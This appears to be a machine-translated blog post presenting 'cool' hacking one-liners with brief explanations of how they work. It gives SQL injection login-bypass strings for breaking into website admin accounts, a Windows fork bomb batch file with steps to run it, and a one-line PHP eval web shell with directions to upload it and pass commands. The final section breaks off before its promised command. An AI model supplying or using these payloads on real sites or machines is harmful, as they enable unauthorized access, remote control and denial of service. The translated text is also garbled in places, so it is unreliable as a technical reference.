[cloud native] those lines of code that look awesome but have a very simple principle

「 Author URI 」： Three days wyx
「 Author's brief introduction 」：CSDN top100、 Alibaba cloud blog expert 、 Huawei cloud sharing expert 、 High quality creators in the field of network security

1. Universal password

you 're right , Literally , Just know the account number , Then enter the following line of code ：

 account number 'and 1 -- a

such as , The default account number of many websites is admin, Let's just type admin'and 1 -- a, Write the password casually ：

Click login , Successfully logged in admin account number .

actually , This is a SQL Way of utilizing injection , For websites with injection points , You can use .

Generally speaking , The code of login function is in the following format ：

select * from user where username = '' and password = '' limit 1,1

The account number we entered admin'and 1 -- a And password 1, Joining together to SQL Inside ：

select * from user where username = 'admin'and 1 -- a' and password = '1' limit 1,1

-- It's a comment , The content after the comment does not participate in compilation ：

select * from user where username = 'admin'and 1

1 Will be converted to True

select * from user where username = 'admin'and True

As long as there is a admin This account ,SQL You can query successfully , To log in .

2. Universal account

You need to know the account number in the above code , But you don't even need to know your account number ：

a' or 1 -- a

Enter a' or 1 -- a, Write the password casually ：

Click login , success .

The principle is similar to the above , It's also SQL Way of utilizing injection , It applies to websites with presence injection .

Parameter splicing to SQL in the future , It's like this ：

select * from user where username = 'a' or 1 -- a' and password = '' limit 1,1

-- Comments are not compiled ,1 Convert to True：

select * from user where username = 'a' or True

or It means or means , There is one on both sides True, The result goes back to True, Actually implemented SQL That's true ：

select * from user where True

3. fork bomb

Create a new text file , Input %0|%0

Change the suffix to .bat, If there is anti-virus software, it should prompt , It is recommended to run on a virtual machine .

After opening the task manager , Double-click on the run .
You will see that first CPU Run full , Then the memory is full , Then prompt for insufficient memory , then ……

The principle is very simple , Is to keep creating processes , The creation speed can refer to the exponential growth learned in the third grade of primary school .fork Bombs will constantly consume resources , When resources are exhausted, the screen will be blue or black , Just restart the computer .

Tips ： Execute while running taskkill /f /im cmd.exe, Something magical will happen .

Limit the number of processes that a single user can create online , Can prevent... To some extent fork bomb .

4. In a word, herding horses

In the movie , Hackers usually implant backdoor programs into other people's computers , Then control others' computers , That sounds cool, doesn't it ？ actually , The simplest back door , One line of code is enough .

With PHP For example , The file that will contain this line of code , Uploaded to the website web Under the table of contents ：

<?[email protected]eval($_GET['shell']);?>

Access this file , You can control others .

The principle is very simple , The address bar accesses this file , Use parameters to pass commands ：

127.0.0.1/shell.php?shell='ls'

Background reception GET Parameters passed by the request ：

<?[email protected]eval('ls');?>

coordination @eval Function can execute system commands , So as to have the effect of control .

5. Clean up the rubbish

PS： There are fans' reactions , There is no soul without this line of code , Then add another one .

Many companies recruit employees , Candidates will be required to have certain optimization ability .

When your boss asks you to optimize your code , When improving the operation efficiency of the system , You can type the following line of code , Get a big promotion and raise ：